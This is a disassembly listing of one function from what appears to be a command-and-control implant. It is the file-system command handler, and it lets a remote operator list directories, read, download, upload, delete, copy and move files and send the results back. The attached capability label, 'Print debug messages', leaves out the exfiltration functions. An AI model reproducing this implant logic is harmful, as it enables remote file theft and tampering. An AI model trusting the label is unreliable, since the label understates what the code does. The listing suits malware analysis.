Function at 0x14000b3b0
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
mov r14, rcx
mov ecx, 0xf
push r13
lea r13, str.CommandFS
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x498
call sym.PackageCreate
mov rcx, r14
mov r12, rax
call sym.ParserGetInt32
mov rcx, r12
mov edx, eax
mov dword [rsp + 0x40], eax
call sym.PackageAddInt32
mov r9d, dword [rsp + 0x40]
lea eax, [r9 - 1]
cmp eax, 9
ja case.default.0x14000b417
lea rdx, [0x1400286e8]
lea r15, [0x140027618]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
lea r9, str.FS::Dir
mov r8d, 0x2ac
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
call sym.ParserGetBool
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x50], eax
call sym.ParserGetWString
mov rcx, r14
mov qword [rsp + 0x48], rax
call sym.ParserGetBool
mov rcx, r14
mov dword [rsp + 0x54], eax
call sym.ParserGetBool
mov rcx, r14
mov dword [rsp + 0x58], eax
call sym.ParserGetBool
mov rcx, r14
mov dword [rsp + 0x5c], eax
call sym.ParserGetBool
xor edx, edx
mov rcx, r14
mov ebx, eax
call sym.ParserGetWString
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x40], rax
call sym.ParserGetWString
xor edx, edx
mov rcx, r14
mov rbp, rax
call sym.ParserGetWString
mov r15, rax
mov rax, qword [rsp + 0x40]
cmp word [rax], 0
jne 0x14000b4b7
mov qword [rsp + 0x40], 0
cmp word [rbp], 0
jne 0x14000b4c0
xor ebp, ebp
cmp word [r15], 0
jne 0x14000b4ca
xor r15d, r15d
mov rsi, qword [0x14002d650]
mov edx, 0x208
mov ecx, 0x40
mov rax, qword [rsi]
call qword [rax + 0x3a8]
mov r14, rax
mov rax, qword [rsp + 0x48]
cmp word [rax], 0x2e
jne 0x14000b581
mov rax, qword [rsi]
mov rdx, r14
mov ecx, 0x104
call qword [rax + 0x3e8]
test eax, eax
jne 0x14000b54b
mov rax, qword [rsi]
mov r8d, 0x2d2
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Failed_to_get_current_dir:__d_n
mov rax, qword [rax + 0x8c2]
mov r9d, dword [rax + 0x68]
call sym.DbgPrint
test r14, r14
je 0x14000bf44
mov rdi, r14
mov ecx, 0x208
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rsi]
jmp 0x14000b764
mov rcx, r14
call sym.StringLengthW
lea ecx, [rax - 1]
mov edx, eax
cmp word [r14 + rcx*2], 0x5c
je 0x14000b56c
lea edx, [rax + 1]
mov eax, eax
mov word [r14 + rax*2], 0x5c
mov eax, edx
mov word [r14 + rax*2], 0x2a
lea eax, [rdx + 1]
mov word [r14 + rax*2], 0
jmp 0x14000b590
mov rsi, qword [rsp + 0x48]
mov ecx, 0x82
mov rdi, r14
rep movsd dword [rdi], dword [rsi]
mov rdx, r13
mov r9, r14
mov r8d, 0x2e2
lea rcx, str._DEBUG::_s::_d__Path:__ls_n
call sym.DbgPrint
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], r15
mov rcx, r14
mov r9d, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x58]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x38], 0xa
mov edx, dword [rsp + 0x54]
mov qword [rsp + 0x20], rax
call sym.listDir
movzx edx, byte [rsp + 0x50]
mov rcx, r12
mov r13, rax
call sym.PackageAddBool
movzx edx, bl
mov rcx, r12
call sym.PackageAddBool
mov rdx, r14
mov rcx, r12
call sym.PackageAddWString
xor edx, edx
test r13, r13
mov rcx, r12
setne dl
call sym.PackageAddBool
mov rsi, qword [0x14002d650]
test r13, r13
je 0x14000b745
test ebx, ebx
je 0x14000b658
mov eax, dword [r13 + 0x21c]
add eax, dword [r13 + 0x218]
jne 0x14000b658
mov rbp, qword [r13 + 0x228]
mov rdi, r13
mov ecx, 0x230
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rsi]
mov rcx, r13
mov r13, rbp
call qword [rax + 0x3b0]
jmp 0x14000b617
mov rdx, r13
mov rcx, r12
call sym.PackageAddWString
mov edx, dword [r13 + 0x218]
mov rcx, r12
call sym.PackageAddInt32
mov edx, dword [r13 + 0x21c]
mov rcx, r12
call sym.PackageAddInt32
test ebx, ebx
jne 0x14000b694
mov rdx, qword [r13 + 0x220]
mov rcx, r12
call sym.PackageAddInt64
mov r15, qword [r13 + 0x210]
test r15, r15
je 0x14000b634
mov rdx, r15
mov rcx, r12
call sym.PackageAddWString
test ebx, ebx
jne 0x14000b71e
movzx edx, byte [r15 + 0x22c]
mov rcx, r12
call sym.PackageAddBool
mov rdx, qword [r15 + 0x230]
mov rcx, r12
call sym.PackageAddInt64
movzx edx, word [r15 + 0x210]
mov rcx, r12
call sym.PackageAddInt32
movzx edx, word [r15 + 0x20c]
mov rcx, r12
call sym.PackageAddInt32
movzx edx, word [r15 + 0x20a]
mov rcx, r12
call sym.PackageAddInt32
movzx edx, word [r15 + 0x224]
mov rcx, r12
call sym.PackageAddInt32
movzx edx, word [r15 + 0x222]
mov rcx, r12
call sym.PackageAddInt32
mov rbp, qword [r15 + 0x238]
mov rdi, r15
mov ecx, 0x240
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rsi]
mov rcx, r15
mov r15, rbp
call qword [rax + 0x3b0]
jmp 0x14000b69b
test r14, r14
je 0x14000bf44
mov rdi, r14
mov ecx, 0x208
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rcx, r14
call qword [rax + 0x3b0]
jmp 0x14000bf44
lea r9, str.FS::Download
mov r8d, 0x31a
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
xor eax, eax
lea rdi, [rsp + 0x80]
mov ecx, 0x104
rep stosd dword [rdi], eax
lea rdx, [rsp + 0x78]
mov rcx, r14
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
lea rbp, [rsp + 0x80]
mov qword [rsp + 0x68], 0
call sym.ParserGetBytes
mov rsi, rax
mov eax, dword [rsp + 0x78]
lea ecx, [rax + 2]
call sym.MmHeapAlloc
mov ecx, dword [rsp + 0x78]
mov r8d, 0x32a
mov rdx, r13
mov qword [rsp + 0x70], rax
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rcx, str._DEBUG::_s::_d__FileName____ls_n
mov r9, qword [rsp + 0x70]
call sym.DbgPrint
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
mov rsi, qword [0x14002d650]
mov edx, 0x80000000
mov rax, qword [rsi]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 3
call qword [rax + 0x330]
mov r14, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x14000b87e
lea r9, [0x140028580]
mov rdx, r13
mov rcx, r15
xor ebx, ebx
mov r8d, 0x32f
call sym.printf.constprop.0_5
mov rax, qword [rsi]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
jmp 0x14000b94a
mov rax, qword [rsi]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
mov r8, rbp
mov edx, 0x208
call qword [rax + 0x338]
mov qword [rsp + 0x20], rbp
mov rdx, r13
mov r8d, 0x338
movzx r9d, ax
lea rcx, str._DEBUG::_s::_d__FilePath.Buffer__d_:__ls_n
mov edi, eax
call sym.DbgPrint
mov rax, qword [rsi]
lea rdx, [rsp + 0x68]
mov rcx, r14
call qword [rax + 0x348]
mov ebx, eax
test eax, eax
jne 0x14000b8ff
mov rdx, r13
mov rcx, r15
lea r9, str.GetFileSizeEx:_Failed
mov r8d, 0x33c
call sym.printf.constprop.0_5
mov rax, qword [rsi]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
jmp 0x14000b94a
mov rdx, qword [rsp + 0x68]
mov rcx, r14
call sym.DownloadAdd
xor edx, edx
mov rcx, r12
mov rbx, rax
call sym.PackageAddInt32
mov edx, dword [rbx]
mov rcx, r12
call sym.PackageAddInt32
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call sym.PackageAddInt64
mov rdx, rbp
test di, di
jne 0x14000b93d
mov rdx, qword [rsp + 0x70]
mov rcx, r12
mov ebx, 1
call sym.PackageAddWString
lea r9, str.CleanupDownload
mov r8d, 0x363
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
mov rdi, qword [rsp + 0x70]
test rdi, rdi
je 0x14000bb28
mov ecx, dword [rsp + 0x78]
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x70]
call sym.MmHeapFree
jmp 0x14000bb28
lea r9, str.FS::Upload
mov r8d, 0x372
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x70]
mov rcx, r14
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x80], 0
call sym.ParserGetWString
mov rcx, r14
mov rbx, rax
call sym.ParserGetInt32
mov ecx, eax
mov dword [rsp + 0x40], eax
call sym.GetMemFile
mov r9d, dword [rsp + 0x40]
test rax, rax
je 0x14000ba81
cmp dword [rax + 0x20], 0
je 0x14000ba6f
mov r10, qword [rax + 0x18]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x20], rbx
mov rdx, r13
mov r8d, 0x392
lea rcx, str._DEBUG::_s::_d__FileName__d_____ls_n
mov r9d, edi
mov qword [rsp + 0x40], r10
call sym.DbgPrint
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rsi, qword [0x14002d650]
mov rcx, rbx
mov rax, qword [rsi]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 1
call qword [rax + 0x330]
mov r10, qword [rsp + 0x40]
mov r14, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x14000ba9b
lea r9, [0x140028580]
mov r8d, 0x397
jmp 0x14000bacf
mov r8d, 0x387
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__MemFile___x__was_not_completed_n
jmp 0x14000ba91
mov r8d, 0x38d
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__MemFile___x__not_found_n
call sym.DbgPrint
jmp 0x14000bf5f
mov rax, qword [rsi]
mov r8d, edi
mov rdx, r10
mov rcx, r14
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
call qword [rax + 0x370]
test eax, eax
jne 0x14000bafd
lea r9, str.WriteFile:_Failed
mov r8d, 0x39f
mov rdx, r13
mov rcx, r15
xor ebx, ebx
call sym.printf.constprop.0_5
mov rax, qword [rsi]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
test r14, r14
jne 0x14000bb20
jmp 0x14000bf5f
mov edx, edi
mov rcx, r12
call sym.PackageAddInt32
mov rdx, rbx
mov rcx, r12
call sym.PackageAddWString
test r14, r14
je 0x14000bf44
mov ebx, 1
mov rcx, r14
call sym.SysNtClose
test ebx, ebx
jne 0x14000bf44
jmp 0x14000bf5f
lea r9, str.FS::Cd
mov r8d, 0x3b5
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
lea rdx, [rsp + 0x80]
mov dword [rsp + 0x80], 0
call sym.ParserGetWString
mov rbx, qword [0x14002d650]
mov r13, rax
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x448]
jmp 0x14000bc53
mov rdx, r13
lea r9, str.FS::Remove
mov r8d, 0x3c4
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
lea rdx, [rsp + 0x80]
mov dword [rsp + 0x80], 0
call sym.ParserGetWString
mov rbx, qword [0x14002d650]
mov r13, rax
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x428]
cmp eax, 0xffffffff
je 0x14000bbec
test al, 0x10
je 0x14000bbec
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x408]
mov edx, 1
test eax, eax
jne 0x14000bbfe
jmp 0x14000bc57
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x400]
xor edx, edx
test eax, eax
je 0x14000bc57
mov rcx, r12
call sym.PackageAddInt32
jmp 0x14000bc73
mov rdx, r13
lea r9, str.FS::Mkdir
mov r8d, 0x3e2
mov rcx, r15
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x80]
mov rcx, r14
mov dword [rsp + 0x80], 0
call sym.ParserGetWString
mov rbx, qword [0x14002d650]
xor edx, edx
mov r13, rax
mov rax, qword [rbx]
mov rcx, r13
call qword [rax + 0x410]
test eax, eax
jne 0x14000bc73
mov rax, qword [rbx]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
jmp 0x14000bf5f
mov rdx, r13
jmp 0x14000bd36
lea r9, str.FS::Copy
mov r8d, 0x3f2
mov rcx, r15
mov rdx, r13
call sym.printf.constprop.0_5
mov rcx, r14
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x80], 0
call sym.ParserGetWString
mov rcx, r14
lea rdx, [rsp + 0x80]
mov r15, rax
call sym.ParserGetWString
mov r8d, 0x3fd
mov rdx, r13
mov r9, r15
mov qword [rsp + 0x20], rax
lea rcx, str._DEBUG::_s::_d__Copy_file__ls_to__ls_n
mov r14, rax
call sym.DbgPrint
xor r8d, r8d
mov rdx, r14
mov rcx, r15
mov rbx, qword [0x14002d650]
mov rax, qword [rbx]
call qword [rax + 0x460]
mov r13d, eax
test eax, eax
jne 0x14000bd1d
mov rax, qword [rbx]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
mov edx, r13d
mov rcx, r12
call sym.PackageAddInt32
mov rdx, r15
mov rcx, r12
call sym.PackageAddWString
mov rdx, r14
mov rcx, r12
call sym.PackageAddWString
jmp 0x14000bf44
lea r9, str.FS::Move
mov r8d, 0x40b
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x70]
mov rcx, r14
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x80], 0
call sym.ParserGetWString
lea rdx, [rsp + 0x80]
mov rcx, r14
mov r15, rax
call sym.ParserGetWString
mov rdx, r13
mov r9, r15
mov r8d, 0x416
mov qword [rsp + 0x20], rax
lea rcx, str._DEBUG::_s::_d__Move_file__ls_to__ls_n
mov r14, rax
call sym.DbgPrint
mov rbx, qword [0x14002d650]
mov rdx, r14
mov rcx, r15
mov r8d, 1
mov rax, qword [rbx]
call qword [rax + 0x468]
jmp 0x14000bcff
mov rdx, r13
mov rcx, r15
lea r9, str.FS::GetPwd
mov r8d, 0x424
call sym.printf.constprop.0_5
xor eax, eax
mov rbx, qword [0x14002d650]
lea rdi, [rsp + 0x80]
mov ecx, 0x104
lea r14, [rsp + 0x80]
rep stosd dword [rdi], eax
mov rax, qword [rbx]
mov rdx, r14
mov ecx, 0x208
call qword [rax + 0x3e8]
test eax, eax
jne 0x14000bd33
mov rax, qword [rbx]
mov rdx, r13
mov r8d, 0x42a
lea rcx, str._DEBUG::_s::_d__Failed_to_get_current_dir:__d_n
mov rax, qword [rax + 0x8c2]
mov r9d, dword [rax + 0x68]
call sym.DbgPrint
mov rax, qword [rbx]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
jmp 0x14000bf44
lea r9, str.FS::Cat
mov r8d, 0x433
mov rdx, r13
mov rcx, r15
call sym.printf.constprop.0_5
mov rcx, r14
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x70], 0
call sym.ParserGetWString
mov rdx, r13
mov r8d, 0x43b
lea rcx, str._DEBUG::_s::_d__FileName____ls_n
mov r9, rax
mov r14, rax
mov qword [rsp + 0x80], 0
call sym.DbgPrint
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x80]
mov rcx, r14
call sym.ReadLocalFile
mov rdx, r14
mov rcx, r12
mov r13d, eax
call sym.PackageAddWString
mov edx, r13d
mov rcx, r12
call sym.PackageAddInt32
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x80]
mov rcx, r12
call sym.PackageAddBytes
mov rdi, qword [rsp + 0x80]
test rdi, rdi
je 0x14000bf44
mov ecx, dword [rsp + 0x68]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [0x14002d650]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rax]
jmp 0x14000b767
mov dword [rsp + 0x20], r9d
mov r8d, 0x44e
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__FS_SubCommand_not_found:__d_:__x_n
call sym.DbgPrint
add rsp, 0x498
mov rcx, r12
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.PackageTransmit
add rsp, 0x498
mov rcx, r12
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.PackageDestroy